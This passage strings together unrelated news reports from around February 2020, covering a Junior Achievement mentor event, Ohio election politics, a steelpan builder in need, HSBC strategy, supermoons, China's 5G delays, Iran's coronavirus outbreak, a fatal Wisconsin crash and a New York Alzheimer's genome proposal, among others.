attend because they are walking away from it with real-life knowledge, inspiration and a taste of reality from the interaction with their mentors. The event expanded this year to serve almost 200 area students. The event was free for students, thanks to generous sponsors. Long-time supporter of Junior Achievement, Garber Automotive, was the premier sponsor of the event. Means Industries was a generous lunch sponsor and Greater Michigan Construction, Delta College and various independent sponsors helped to make this day possible for area youth. We hope the community will continue to donate and sponsor this event so we can provide it free to all the students that want to come in the future," said Jen Carpenter, chief operating officer/EVP of JA of North Central Michigan. Its my favorite event of the year, because you can clearly see that it makes a difference to the students, but it inspires the mentors as well. Its a day of mutual respect and appreciation for both students and professionals. Its a win-win day for everyone! Students spent the morning participating in lessons taught by area professionals from a large variety of industries. The afternoon luncheon with guest speaker was open to community businesses and individuals. Part of the JA Mentor Circle concept is for student participants and adult professionals to join together, share a meal and be educated on a topic that is inspiring and relevant to all. This year did not disappoint. The lunch keynote speaker was Jon Lynch, president of Three Rivers Construction. Lynchs presentation was on The Formula for Success. He led a conversation on putting courage, stability and leadership into action. He shared stories that served as examples of using critical leadership skills, problem diagnosis, appreciation of diverse perspectives and action blindness. The morning breakout presentation was led by Megan Michels, owner/founder of Thrive Social. She shared crucial information about protecting your online personal brand. Students learned that an online social presence can be a good thing to boost your career, if done properly. The event was considered a success by the survey responses received from both mentors and students. A few comments included, I loved learning about others experiences and the wisdom the mentors had to share with our young minds. I learned its good to have a grasp on your past experience so they will be recognized as a value when applying for a job. I loved hearing advice from people that know about the career I want to go into. My favorite thing today was getting to hear stories from successful mentors and how life does not always go as planned, but with hard work you can get to where you want to be. Loved hearing the mentors background and how hard they worked to get to where they were. The struggles they overcame, the things that stopped them and what helped them. And a comment received from one of our mentors, I learned that we have really sharp kids in our region. Our future is bright. For more information on Junior Achievement, visit the JA website at www.janorthcentralmi.org or contact Jen Carpenter at 989-493-2192 or Jen.Carpenter@ja.org. Columbus - Less than a week after a Democratic congressional candidate provided evidence that she did not vote twice in the 2008 presidential primary as the Ohio Republican Party claimed, a complaint the party filed against her with Ohio Attorney General Dave Yost has been tossed out. Yosts office issued a brief statement to the GOP Thursday saying the complaint it filed against Hillary OConnor Mueri was closed. The statement noted the statute of limitations to prosecute the alleged violation had expired. Yosts office did not make any judgment on the evidence. The statute of limitations is six years, said Yosts senior public information officer, Dave ONeil. Once that is established, no investigation can take place. The Lake County Board of Elections last Friday shot down the Ohio GOP claim that Mueri voted in both California and Ohio during a single election, saying it determined she didnt return an absentee ballot that Lake County sent her for the 2008 Democratic presidential primary. A voting history the board kept on Mueri erroneously showed she voted because the boards 2008 policy was to give voting credit even if a voter didnt return their absentee ballot, the elections board said. The complaint the Ohio Republican Party filed with Yost cited that voting history in its claim that Mueri voted twice. Mueri is running for the congressional seat held by Bainbridge Township Republican. Dave Joyce. The 14th Congressional district they want to represent includes all of Lake, Geauga and Ashtabula counties, and sections of Cuyahoga, Summit, Portage and Trumbull counties. Although the complaint was filed by the Ohio Republican Party and Joyce hasnt publicly commented on it, Mueris campaign issued a statement in response to its dismissal that criticized Joyce, demanded that he denounce this false attack, and inquired whether he had any communication with the Ohio Republican Party or the Attorney Generals office prior to today about this false attack. Its unfortunate that David Joyce and his backers are lying about a Naval combat veteran, the statement said. Its really the lowest of the low. A statement from Joyces campaign said the incumbent has nothing but the utmost respect for his opponents service to our country and are happy to welcome her back to northeast Ohio." The statement also equated voting for her with support for Democratic presidential candidate Bernie Sanders and his radical socialist agenda. She is obviously desperate to make this campaign about anything except the fact that she would be a lockstep vote for the policies of Sanders and the socialist squad, said Joyce campaign spokesman Jon Conradi. Read more coverage: Rep. Jim Jordan visits Israel and tours Temple Mount with former Knesset member who is later arrested Meet the three Democrats vying to take on Rep. Jim Jordan Former OSU wrestler Adam DiSabato calls out Rep. Jim Jordan on MSNBC Heres who says Jim Jordan knew - or didnt know - about sex abuse on OSUs wrestling team Retired carpenter challenges Rep. Dave Joyce in GOP primary Democratic congressional candidate did not illegally vote twice in same election, Lake County elections board says Trump budget proposes spending more than $100 million on federal buildings in Cleveland Port of Cleveland gets $11 million federal grant Two Democrats want to oust Rep. Anthony Gonzalez Trump budget would fund new Cleveland FBI building and cut Lordstown loan program Ex-football pro Anthony Gonzalez preps bill to let college athletes make money from their names and images Ohios Jim Jordan picked to become top Republican on House Judiciary Committee House passes legislation to boost Great Lakes cleanup money Clinton Jimmy James, aka T-Man, might just be the single most significant contributor to the development of steel orchestras here. by Carlyle Douglas Any members of the steelband fraternity dating back over the last six decades or so would have, more than likely, interacted with or heard about Clinton Jimmy James, aka T-Man, aka Tall Boy. Clinton James was the most sought after pan builder and tuner for much of the referenced six-decade period. There was not a band, not so much the new Pan Against Crime bands, that would not have had the touch of T-Man, the genius T-Man. Many a steel orchestra would have reveled at Victoria Park and gone on to win the prestigious Panorama title with pans built and tuned by T-Man. Then the advent of chromed pans from Trinidad and Tobago. It appeared to many that T-Man had simply "walked off the face of the earth, as one pan person said when asked about the last time T-Man was sighted in Kingstown. Finding T-Man T-Mans whereabouts were discovered in a rather roundabout manner. When an associate of THE VINCENTIAN inquired about having a tenor pan built here, he was told that the majority of the pans are now purchased out of Trinidad which provided chromed pan, a service unavailable currently in SVG. Furthermore, the persons of whom the inquiry was made, remarked that "even though, yo cyar gey a pan here cause nobody know wey T-Man dey. Further inquiries regarding the whereabout of T-Man provided the information, later confirmed, that he was alive, but not well, and was living in a shack in Union Island, where he labours to build and tune steelpans. Reports from Union Island indicate that he is unable to walk, and is in need of medical attention after suffering a rat bite in his makeshift habitation. There was even an indication that he survives off the charity of others for meals and clothing. Last Saturday, on The CTVIEW Show aired on NICE Radio and hosted by Carlyle Douglas, a plea was made by a former pan player and associate of T-Man, Clive Bish I Bishop, via telephone from New York, for persons to assist this "cultural icon who has fallen on hard times. The appeal got going with a $200.00 donation, and further contributions can be made to Nice Radio Station Manager/ Owner - Douglas De Freitas. Attempts to reach a suitably positioned member of the Youlou Pan Movement (YPM) to address T-Mans situation did not bear fruit. It is the hope, though, now that the pan fraternity is aware of the conditions under which one of the YPMs stalwarts ekes out an exitance, that something would be done to uplift the body and soul of this unsung Vincentian hero. Charlotte Crosby recently told fans that a thrush infection had prevented her from sleeping with I'm a Celebrity... Get Me Out Of Here! co-star Ryan Gallagher. But on Friday, Jackie 'O' Henderson, 45, questioned if an infection was really reason why the love birds failed to consummate their relationship. Speaking on The Kyle and Jackie O Show on Friday: 'Charlotte said when she came out of the jungle that she had a little infection going on downstairs and needed to wait a few days before she could sleep with him.' Did they? The Kyle and Jackie O Show host Jackie 'O' Henderson, 45, and co-host Beau Ryan, 34, questioned whether Charlotte Crosby slept with I'm a Celebrity co-star Ryan Gallagher 'So she intended on sleeping with him, but whether it happened we never actually got the word.' 'I'd love to know that,' co-host Beau said. Newsreader Brooklyn Ross chimed in and asked: 'Is this like the fake leg cramp? Saying you've got an infection down there?' Jackie said: 'Yeah maybe. Maybe she didn't even want to.' No word: Jackie said that Charlotte (pictured with Ryan) had said she would wait a few days before sleeping with him until her 'infection' cleared. Jackie added: 'So she intended on sleeping with him, but whether it happened we never actually got the word' Sneaky strategy? Newsreader Brooklyn Ross chimed in and suggested, 'is this like the (women's version of a) fake leg cramp? Saying you've got an infection down there?' Jackie said it was plausible, saying, 'maybe she didn't even want to' (Charlotte and Ryan in the jungle) This comes after Charlotte confirmed to 10 Daily on Thursday that she and Ryan Gallagher had split up after a striking up a romance on I'm A Celebrity... Get Me Out of Here! Australia. The British reality star, 29, insisted that the pair are 'still friends' and she 'loves him to bits'. She said that along with adjusting to everyday life after their time in the jungle and the issue of long distance, the 'bubble popped'. 'I wasn't ready to jump into another relationship': Charlotte confirmed to 10 Daily on Thursday that she and Ryan Gallagher had split up after a striking up a romance on I'm A Celebrity... Get Me Out of Here! Australia 'When me and Ryan came out of the jungle I made no secret that I had been in a very long relationship and I wasn't ready to jump into another one,' Charlotte told the publication. She revealed that after their stint on the popular show, she had reservations about a serious romance. 'I still wasn't looking for something serious, he's at a stage in his life where he is - so we came to a mutual decision that we'd just cool it off,' Charlotte said. Eight Nordic and Baltic states strongly support Ukraine's sovereignty and territorial integrity. According to an Ukrinform correspondent, this was said in the joint statement by Estonia, Denmark, Finland, Iceland, Latvia, Lithuania, Norway and Sweden, read out by Estonian Foreign Minister Lembit Uibo at the UN General Assembly meeting during the consideration of the situation in the temporarily occupied territories of Ukraine. "Today [on February 20], commemorating the sixth anniversary of the tragic events on Maidan and the beginning of Russian aggression against Ukraine, the Nordic and Baltic countries reaffirm their strong support for Ukraine's sovereignty, independence and territorial integrity within the internationally recognized borders, including the territorial waters," he said. According to the diplomat, the Nordic and Baltic countries condemn "the illegal annexation of the Autonomous Republic of Crimea and the city of Sevastopol by Russia and are determined to implement the EU's policy of non-recognition, including the restrictive measures." ol The ABC will seek an urgent injunction to prevent the Australian Federal Police using documents seized during a raid on its Sydney headquarters, as it considers whether to lodge an appeal against a court decision that found the warrant authorising the raid was lawful. In a decision on Monday, Federal Court Justice Wendy Abraham dismissed the national broadcaster's legal bid to overturn the warrant and ordered it to pay costs. AFP officers leave the ABC headquarters in Ultimo after the June 2019 raid. Credit:Wolter Peeters The AFP had given an undertaking not to use material seized during the raid on June 5 last year pending the outcome of the case. The undertaking expires at 4.30pm on Monday. After its court loss, the ABC sought the co-operation of the AFP to extend the undertaking while it considers whether to lodge an appeal against Justice Abraham's decision. Unsuccessful parties typically have 28 days in which to lodge an appeal. "Chucks and Finitys practices, as well as their approach to client service, align perfectly with these goals, and we are fortunate to have them and their team back with us." - Chris Balch, Firm Chair Holland & Hart announced the expansion of its Consumer Products industry team with the return of partners Chuck Cotter and Finity Jernigan. Cotter, Jernigan, and a team of lawyers and professionals join the firm from the Denver office of Polsinelli. The team enhances the firms strong history of representing consumer brands, particularly in the food, beverage, and natural products industry. We are delighted that Chuck, Finity, and this dynamic transactional team are joining Holland & Hart, and their timing couldnt be better, said Chris Balch, firm chair. We had strong financial performance in 2019 with a significant increase in profits per equity partner. To that end, we are committed to exploring and implementing innovative service models that better serve our clients and continue to make Holland & Hart a leading legal service provider. Chucks and Finitys practices, as well as their approach to client service, align perfectly with these goals, and we are fortunate to have them and their team back with us. Cotter and Jernigan have developed a robust practice as go-to advisors for more than 100 companies, venture capital funds, and private equity funds in the food, beverage, and consumer products space. Through deep relationships fostered with investors and funds, the team provides clients with access to liquidity at crucial stages, allowing emerging and growth-oriented companies to expand product offerings, open distribution channels, and increase market penetration. Cotter worked for nine years on Wall Street, practicing at two law firms and as in-house counsel at a major hedge fund before originally joining Holland & Hart in 2012. Returning to Holland & Hart is like coming home, said Cotter. By investing significant resources in technology tools and process efficiencies, the firm can nimbly adapt to our clients business needs and to changes in the legal industry. The firms collaborative approach and commitment to teamwork create an environment where our team can both grow existing client relationships and forge new strategic partnerships. Jernigan practiced at Gibson Dunn and served as an Assistant Attorney General for the State of Colorado before originally joining Holland & Hart in 2016. I am excited about the opportunity to take our practice to the next level, said Jernigan. Holland & Hart has worked with brands and funds in the consumer products space for years. The firms lineup of specialist teams, such as Intellectual Property and Tax, is familiar with our clients industry, understands their business challenges and legal needs, and will provide outstanding support for our team. About Holland & Hart Founded in 1947, Holland & Hart is a full-service Am Law 200 firm with offices in eight states and in Washington, D.C. We deliver integrated legal solutions to regional, national, and international clients of all sizes in a diverse range of industries. For more information, visit http://www.hollandhart.com or on Twitter: @HollandHart. FILE PHOTO: HSBC logos are seen on a branch bank in the financial district in New York By Lawrence White and Sumeet Chatterjee LONDON/HONG KONG (Reuters) - HSBC on Tuesday reports 2019 results and will set out its new strategy, where interim Chief Executive Noel Quinn will audition for the permanent role by announcing major restructuring efforts. Here are five key things to look out for: 1- Will Noel Quinn be confirmed as CEO? The 57 year-old HSBC veteran has been through the world's most public job interview since being appointed interim CEO following the ouster of John Flint. It would be odd for Chairman Mark Tucker to allow Quinn to present a new strategy if Quinn will not be the person to implement it - but media reports in the past few weeks have suggested Tucker could delay the appointment beyond Tuesday. 2- How will HSBC improve returns for shareholders? Quinn's urgent task is to improve returns for shareholders, which have lagged HSBC's rivals in recent years. (Graphic: HSBC one-year shareholder returns - https://fingfx.thomsonreuters.com/gfx/mkt/13/2033/2001/HSBC%20returns.png) 3- How will HSBC improve its underperforming investment bank? HSBC's global banking and markets division that contains its investment bank has been underperforming its commercial and retail banking businesses. Quinn is expected to restructure the division that in 2018 had higher cost to income ratio and contributed a lower profit share than its two counterparts. The bank is also cutting around 100 roles in its equities business, Reuters reported last month. (Graphic: HSBC investment bank costs - https://fingfx.thomsonreuters.com/gfx/mkt/13/2035/2003/HSBC%20costs.png) 4- Will HSBC further shrink its geographical footprint? HSBC is in more than 50 countries across North America, Europe, the Middle East and Asia, but the latter of those regions accounted for 49% of its revenue and 90% of its profit in 2018. The bank is now likely to accelerate efforts to boost revenues from Europe and North America, and gradually pull out from some of its low-returning markets. HSBC is considering leaving Turkey and may also sell or reduce its business in other markets where it is struggling to compete with local rivals, Reuters reported earlier this month. Story continues The bank is also likely to review its presence in some Latin American markets, a region that accounts for just 3% of its pre-tax profit. (Graphic: Asia dominates HSBC profits - https://fingfx.thomsonreuters.com/gfx/mkt/13/2036/2004/HSBC%20asia.png) 5- Will there be more cuts to senior management? HSBC is also set to unveil a new round of job cuts targeting senior international managers at its headquarters in London and to a lesser extent in Asia. The bank plans to trim expenses and simplify its complicated management structure by cutting a large number of global managerial roles across all business units - from investment to commercial banking. An HSBC spokesman declined to comment. (Reporting By Lawrence White and Sumeet Chatterjee. Editing by Jane Merriman) Three successive supermoons this Spring will give sky gazers the opportunity to witness the rare spectacle for an entire season in 2020. Each month between March and May, the full moon will be near to its closest point to Earth in its orbit, making it appear bigger and brighter than usual. The first of these supermoons took place on 9 March, when the full moon passed at 357,404km (222,081 miles) from Earth. On 7-8 April, the full moon passes even closer at just 356,907km, making it the closest a full moon has been to Earth since February last year. Weather permitting, this will be the most impressive supermoon of 2020, with the final supermoon on 7 May passing at 361,184km from Earth. Recommended How to take the perfect picture of the supermoon this week An effect called the "Moon illusion" means that the moon will appear even bigger when it is rising or setting over the horizon and there are objects like trees or buildings within the line of sight. "Because these relatively close objects are in front of the moon, our brain is tricked into thinking the moon is much closer to the objects that are in our line of sight," explained Mitzi Adams, a solar scientist at Nasa's Marshall Space Flight Center. Super blood wolf moon totally eclipses the sun: in pictures Show all 28 1 /28 Super blood wolf moon totally eclipses the sun: in pictures Super blood wolf moon totally eclipses the sun: in pictures US Getty Super blood wolf moon totally eclipses the sun: in pictures US A composite image of the eclipse over LA AP Super blood wolf moon totally eclipses the sun: in pictures Hungary The moon fully shadowed by the Earth is seen above the castle of Salgo during a total lunar eclipse near Salgotarjan EPA Super blood wolf moon totally eclipses the sun: in pictures UK A blood moon, set to be the last of its kind for two years, rising over Huddersfield PA Super blood wolf moon totally eclipses the sun: in pictures Turkey Full moon rises over Duzce province of Turkey Anadolu Agency/Getty Super blood wolf moon totally eclipses the sun: in pictures Belgium The moon is seen beside a quadriga on the top of the Cinquantenaire arch Reuters Super blood wolf moon totally eclipses the sun: in pictures Belarus The "super blood wolf moon" is seen behind an Orthodox church Reuters Super blood wolf moon totally eclipses the sun: in pictures Germany Reuters Super blood wolf moon totally eclipses the sun: in pictures France Lunar eclipse behind the Tours's cathedral AFP/Getty Super blood wolf moon totally eclipses the sun: in pictures UK The "super blood wolf moon" is seen in partial eclipse in the skies behind the London Eye Reuters Super blood wolf moon totally eclipses the sun: in pictures Sweden A total lunar eclipse is pictured with the buildning Turning Torso in front, in Malmo EPA Super blood wolf moon totally eclipses the sun: in pictures Argentina Crowds gather at the planetarium as they wait for the lunar eclipse in Buenos Aires EPA Super blood wolf moon totally eclipses the sun: in pictures Germany A view of the lunar eclipse over the cross on top of the Elizabeth Church in Nuremberg EPA Super blood wolf moon totally eclipses the sun: in pictures US A total lunar eclipse and supermoon is seen over ancient Native American petroglyphs Getty Super blood wolf moon totally eclipses the sun: in pictures France The "super blood wolf moon" is seen during a total lunar eclipse under a monument in Marseille Reuters Super blood wolf moon totally eclipses the sun: in pictures Portugal People watch the sunset from the top of a hill as the full moon rises behind them in Lisbon AP Super blood wolf moon totally eclipses the sun: in pictures UAE The moon over the stadium ahead of the AFC Asian Cup match between Iran and Oman at Mohammed Bin Zayed Stadium in Abu Dhabi Getty Super blood wolf moon totally eclipses the sun: in pictures UK The first full moon of 2019 rises off the shore of Tenby, Pembrokeshire, Wales Reuters Super blood wolf moon totally eclipses the sun: in pictures The Former Yugoslav Republic of Macedonia The so-called Super Blood Wolf Moon rises over the cross of the orthodox church Holy Mary Perybleptos in the city of Ohrid EPA Super blood wolf moon totally eclipses the sun: in pictures UK A blood moon, set to be the last of its kind for two years, rises above the 'Maritime Prowess' by Albert Hemstock Hodge on on the western end pavilion of Hull Guildhall ahead of the Lunar Eclipse PA Super blood wolf moon totally eclipses the sun: in pictures PA Super blood wolf moon totally eclipses the sun: in pictures Belgium A view of the lunar eclipse pictured in Jubilee Park EPA Super blood wolf moon totally eclipses the sun: in pictures UK The moon waxing gibbous silhouettes a weather vane in north London EPA Super blood wolf moon totally eclipses the sun: in pictures UK The blood moon appears to the side of Craven Cottage as Fulham play Tottenham in their Premier League match. A total lunar eclipse is set to take place in the early hours of Monday morning, garnishing a reddish colour to the lunar surface AFP/Getty Super blood wolf moon totally eclipses the sun: in pictures Belgium A composite image of the eclipse over Brussels Reuters Super blood wolf moon totally eclipses the sun: in pictures Chile The moon is seen during a total lunar eclipse Reuters Super blood wolf moon totally eclipses the sun: in pictures France Super Blood Wolf Moon behind the Tours's cathedral AFP/Getty Super blood wolf moon totally eclipses the sun: in pictures UAE A full moon is seen over the Hazza Bin Zayed Stadium in Al-Ain following the AFC Asian Cup match between Thailand and China AFP/Getty He continued: "At moon rise or set, it only appears larger than when it is directly overhead because there are no nearby objects with which to compare it." A supermoon earlier this year coincided with Storm Ciara in the UK, meaning viewing conditions were severely affected for people in the UK. A full moon passes behind The Shard skyscraper on 9 September, 2014 in London, England (Getty Images) Forecasts from the Met Office suggest April's supermoon will be accompanied by more favourable weather, especially in the south and east of the country. Combined with lower-than-average air pollution due to the coronavirus lockdown, this week could be one of the best ever opportunities to see a supermoon. A sign for the World 5G Exhibition is seen in Beijing, China, on Nov. 22, 2019. (Jason Lee/Reuters) Chinas Ambitious 5G Push Heading Into Slow Lane Due to Coronavirus Disruptions SHANGHAIGovernment measures to contain the spread of the coronavirus in China could delay the rollout of next-generation 5G telecom networks, a key technology initiative for the countrys leadership. Tenders for six big 5G projects have been postponed since Jan. 31, government records show. They include an industrial internet project in Guangdong Province, a hospital-related project in Jiangxi Province, and a police-related project in Gansu Province. Two leading providers of crucial fiberoptic cables also have headquarters and key production facilities in Wuhan City, the epicenter of the outbreak which is still under lockdown. In addition to providing much faster internet connectivity, 5G promises to enable a slew of new technology products and services from self-driving cars to intelligent factories. China has made 5G a national priority, aiming to have nationwide networks and services well ahead of other countries, and last year it pressed telecom operators to accelerate deployment. Even after the outbreak, Chinese leader Xi Jinping said in early February that 5G investment might be able to help offset the decline in consumer spending caused by the virus. But like other companies in China, telecom equipment firms and network operators are grappling with a logistical nightmare as travel and quarantine restrictions cause staff shortages and impede the transportation of goods. Yangtze Optical Fibre and Cable Joint Stock Ltd. Co., one of two top fiberoptic cable makers based in Wuhan, said in January it would rely on its plants in other parts of China to maintain production. A company manager told Reuters on Feb. 20 that production had not yet resumed in Wuhan and that other factories were operating at 50 percent capacity. The manager, who was not authorized to speak to media and did not want to be identified, declined to comment on the impact on Chinas 5G plans. FiberHome Telecommunication Technologies Co. Ltd., another Wuhan-based fiberoptic cable supplier, said on its website it was attempting to keep operations going via remote work. Suppliers such as Shengyi Technology Co. Ltd., which makes printed circuit boards and copper cables, and Tongyu Communication Ltd., which makes antennas, have said in company filings that production has suffered delays due to the coronavirus outbreak. Construction of 5G bases for China Mobile moved quickly in late December and January, local media reports quoted a senior executive as saying last week. But a Beijing division of the countrys top carrier also told media that the coronavirus would have a definite impact on the 5G build-out. If the carriers cannot get optical fibers in place, they will probably delay the base station purchases, said Edison Lee, an analyst at Jeffries. China Mobile, rivals China Telecom and China Unicom did not respond to Reuters requests for comment. An executive at Huawei Technologies Co. Ltd., the worlds biggest supplier of telecom network gear, said this week the company had sufficient equipment stockpiles to last three to six months. In most countries, 5G deployment has not yet begun or is at a very early stage, with network operators proceeding cautiously in light of the costs and a lack of short-term profit potential. By Josh Horwitz Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Fri, February 21, 2020 14:46 691 7f440ff09e92db75a02bbad2065d0e95 1 National crocodile-chocked-tire,Palu,bakery,bread,crocodile-shaped-bread Free A wild crocodile in the Palu River of Central Sulawesi, its neck trapped for several years in a motorcycle tire, has been in the media spotlight in recent weeks, particularly after an Australian wildlife expert joined a local rescue team in an attempt to free it of the "choker". Despite failing, the mission received wide coverage across the nation's media to become the talk of the country, and gave at least one entrepreneurial baker an idea. Read also: See you soon, mate: Australian presenter Matt Wright returns home despite failing to rescue Palu crocodile Abraham, the 58-year-old owner of Master Bakery in Palu, decided to take the local reptilian "icon" as an opportunity for testing his creativity and boosting his business by making bread shaped like the crocodile, complete with a tire around its neck. At first, I made two 60-centimeter breads that resembled the crocodile. I left one [on display] in the store and took the other to a warkop [coffee stall] where I usually hang out to share it with my friends, Abraham told kompas.com on Thursday. He said he had not realized that the crocodile bread had gone viral until the orders started coming in to the point that he was overwhelmed by the high demand. I did not expect this to go viral. My staff and I have been working overtime to make these crocodile breads, Abraham said, adding that the breads were offered in various sizes and ranged from Rp 7,000 (50 US cents) to Rp 80,000 per piece. Crocodile-shaped bread has long been popular fare among Jakarta's indigenous Betawi culture. Two pieces of sweetened bread shaped like a crocodile (sans tire) are a must at every traditional Betawi wedding, as the reptile symbolizes loyalty and long life. Meanwhile, the "Palu crocodile" breads at Master Bakery have received good reviews from culinary enthusiasts. Abraham said that he had come up with the idea of making crocodile-shaped bread in October 2012, and that he had simply not acted on it until the recent rescue attempt brought widespread attention to the crocodile and its plight. He added that he planned to make one life-sized bread that accurately resembled the 4-meter crocodile or at least as closely as he could make it, including the texture and color of its skin. Jemmy, a Master Bakery customer, applauded Abrahams creative innovation and said he was excited about trying the bread. Im curious about the bread that looks like the crocodile with the tire necklace. It went viral, and I want to buy one for my child, who I think will absolutely love it, said the 30-year-old. (syk) Iranian officials have reacted to an outbreak of the coronavirus by announcing emergency measures amid public distrust over the government's handling of the disease and concern that the number of infections is much higher than reported. A total of 18 cases have been confirmed in the country, including four deaths in the holy Shiite city of Qom, where most of those diagnosed are also located. Two elderly patients died in the city earlier this week after testing positive for the virus, officials reported. After only having five cases, Health Ministry spokesman Kianush Jahanpur announced 13 new cases on February 21 as Iranians went to the polls to choose their new parliament. State television showed some voters wearing masks while standing in line to cast their ballots in Qom. The new cases included seven people diagnosed in Qom, two in the northern Gilan Province, and four in the capital, Tehran, Jahanpur said on Twitter. "Most of the cases were residents of Qom or had a history of returning from Qom in recent days and weeks," Jahanpur added. Iranian authorities have not explained how the virus has spread in the country. A Health Ministry official suggested on February 21 that Chinese workers who traveled to China -- where the virus emerged in December -- were the likely origin of the virus. "It's clear that new [carriers] of coronavirus have circulated in the country and probably the source of this illness was Chinese workers [from] the city of Qom who had traveled to China," ministry official Minou Mohrez told the official government news agency IRNA. Mohraz added that the ministry has undertaken strong measures to control the spread of the virus. Authorities have said all schools and seminaries have been closed in Qom and that a national committee for the prevention and fight against the virus has been created. Health officials have also called for the suspension of all religious gatherings in Qom. Authorities said on February 21 that in order to help prevent the spread of the virus, voters will not be required to ink their fingers while voting. Iran also announced a temporary ban on flights to and from China in early February. But Deputy Roads and Transportation Minister Sharam Adamnejad said on February 4 that Mahan Air, blacklisted by Washington for supporting the Islamic Revolutionary Guards Corps (IRGC), had been allowed a limited number of flights" to China to take Chinese citizens back and to repatriate Iranians. Authorities in past weeks have applied safety measures for checking passengers for symptoms of the disease at international airports in Tehran and other cities. Despite those measures, some Iranians have questioned whether officials are doing enough to control the spread of the disease and whether they're being transparent about the extent of the outbreak in the country. Many Iranians are still angry over Tehrans January downing of a Ukrainian passenger jet and what they see as an attempt by the IRGC to cover up the deadly tragedy. Widespread public mistrust regarding the official figures is more dangerous than the coronavirus, journalist Siavash Fallahpour said on Twitter, highlighting the mood of many. Another journalist, Sasan Aghaei, raised some serious questions regarding the outbreak of the virus in the country. We dont know when the coronavirus reached Iran. We dont know how many people have died. We dont know how many people are infected or quarantined. We dont know [which segment of the] population is at risk. We dont really know if anything is being done to control the disease," Aghaei tweeted, adding that we only know that they lie to us. Before the February 21 announcement about the new cases of infection in the country, a video was making the rounds on social media showing health workers wearing protective suits while carrying a patient into a Tehran hospital. Does this video recorded by a friend in front of Tehrans Farmaniyeh Hospital and these suits and equipment have a special meaning? economist Siamak Ghassemi asked on Twitter on February 19 while posting the video. Is this equipment being recently used to deal with [the common] cold or is coronavirus much closer [to us] amid silence and secrecy by officials? Amid the concerns, reformist politician Hossein Nooraninejad said on Twitter on February 20 that his 40-year-old cousin had most likely died from the coronavirus in Qom. However, he added that the results of his cousins tests to determine how he died were not yet completed. In a series of tweets that went viral, Nooraninejad suggested that hospital officials had originally hidden the truth from the family. They said hes not well but he is connected to equipment. We finally learned the [truth] after a follow-up by the family, he said, adding that relatives are devastated amid concerns that they could be infected as well. He urged authorities to do all they can to save lives and refrain from considering dishonest solutions. A day later, on February 21, Nooraninejad said his cousins brother was told that hes tested positive for the virus. On February 21, Chinese Ambassador to Iran Chang Hua tweeted a message of support for Iran, saying that in the fight against the deadly virus, China stands with the Iranians. Earlier this week, Iranian media reported that Tehrans iconic Azadi Tower was lit up with messages of sympathy and support for China and its fight against the coronavirus. Iranian officials have in past months expressed solidarity with China, where more than 2,200 have died from the virus. Tehran has reached out to China amid a U.S. campaign of maximum pressure that has crippled Irans economy. And China is still buying Iranian oil despite the sanctions. Those sanctions have also affected Irans health-care system, according to a report by Human Rights Watch. MOUNT PLEASANT A woman was killed after her vehicle split in half during a three-vehicle crash in Mount Pleasant Thursday evening. Authorities identified the fatality victim Saturday as Jennifer Campeau, 47, of Racine. At 10:47 p.m. on Thursday, Mount Pleasant Police officers and the South Shore Fire Department responded to the area near Highway 11 and Cozy Acres Road for a three-vehicle crash, according to the Mount Pleasant Police Department. A Honda traveling east reportedly crossed over into the westbound lane and sideswiped a Mazda. The Honda then lost control and was sheared in half by a Dodge vehicle, which was also traveling west. The Hondas driver, Campeau, was found dead underneath the Dodge involved in the crash. The Dodge had major front end damage, and the female driver was treated at Ascension Hospital for minor injuries. Her two passengers were treated by South Shore and released. The Mazdas driver was trapped and extracted, and then transported to Froedtert Trauma Center in Milwaukee with serious, but non-life-threatening injuries. The Wisconsin State Patrol was contacted to conduct a crash reconstruction of the scene due to the severity of the injuries and the fatality. The incident remains under investigation by the Mount Pleasant Police Department and Wisconsin State Patrol. Anyone with information is asked to contact the Mount Pleasant Police or Crime Stoppers. Mount Pleasant PD was assisted by the Racine County Sheriffs Office for UAV Drone support. Sturtevant Police assisted with traffic control, the Wisconsin State Patrol helped with technical reconstruction and South Shore Fire Department provided medical treatment and scene clean up. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 The Central Bank is to ask the High Court to appoint a liquidator to what remains of the Irish arm of New Zealand-based insurer CBL Corporation Limited. The Central Bank said it had petitioned the High Court to seek a winding-up order and to have a liquidator appointed to CBLIE. Administrator Kieran Wallace of KPMG was appointed by the Central Bank in February 2019 to take control of the Irish-headquartered European business, after the insurer's New Zealand-based parent, CBL Corporation Limited, went into liquidation in its home market. Last December, the Central Bank directed Mr Wallace to stop making claims payments, pending a review of CBL finances. The petition for a liquidator steps that action up another gear and will be heard in court on March 12. In New Zealand, the former CEO of CBL Insurance is fighting Serious Fraud Office charges. On February 5, Peter Alan Harris pleaded not guilty at the Auckland District Court to the charges related to the CBL Insurance collapse. Liquidators in New Zealand are also seeking to claw back 53.7m from the Irish arm by challenging the status of payments made between the parent and subsidiary before the liquidation. ALBANY Gov. Andrew Cuomo wants to commit $20 million to help jump start the genetic mapping of one million people who have or are at risk of Alzheimers disease. The five-year proposal will involve a partnership between Empire State Development, which helps startups, and State University of New York medical schools at Stony Brook, Syracuse and Buffalo. The initial funding would go to a Curing Alzheimer's Health Consortium to recruit the first 200,000 people for genetic testing. The plan, which is part of the governors budget proposal and needs legislative approval, entails allocating existing funding. ESD and SUNY would then solicit partnerships from providers, private colleges and universities, and others who can help with the mapping. The idea is to map one million people over five years and then make the resulting database available to advance research on the disease. It wasnt immediately clear if or which Capital Region schools and health organizations would be involved in the effort, which was announced on Friday. But the areas schools including the University at Albany, Albany Medical College and Rensselaer Polytechnic Institute are already hosting a number of Alzheimers research projects including some that focus on the genetic or cellular roots of the malady. According to the state Department of Health, in 2017 an estimated 390,000 people in New York had Alzheimer's Disease, a figure that is expected to increase to 460,000 by 2025. The disease can lead to confusion, memory loss, disruptive behavior and an inability to function in a normal fashion. Despite its prevalence, there remains a concerning lack of research and available treatment options for Alzheimer's, which contributes to a staggering disability and disease burden for patients, their families and society, and billions of dollars in economic costs annually to the State. As it progresses, Alzheimers victims can forget the faces and even identities of loved ones, such as children or spouses. Its the sixth leading cause of death in the U.S., killing more people annually than prostate and breast cancer combined. Mapping the genome of those who have or are at risk of Alzheimers can provide valuable insights into the diseases progression and potential treatments. The genome describes the hereditary genetic information of an individual as encoded in DNA that makes up the chromosomes found in the nucleus of all cells. All people have a largely similar genome or DNA structure. But tiny differences of less than a 1/10th percent can create large differences in characteristics such as appearance and health or propensity for a certain disease. Genetic mapping can help show commonalities in genes, or the segments of DNA in each person. Certain patterns or mutations may be associated with the risk of Alzheimers. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 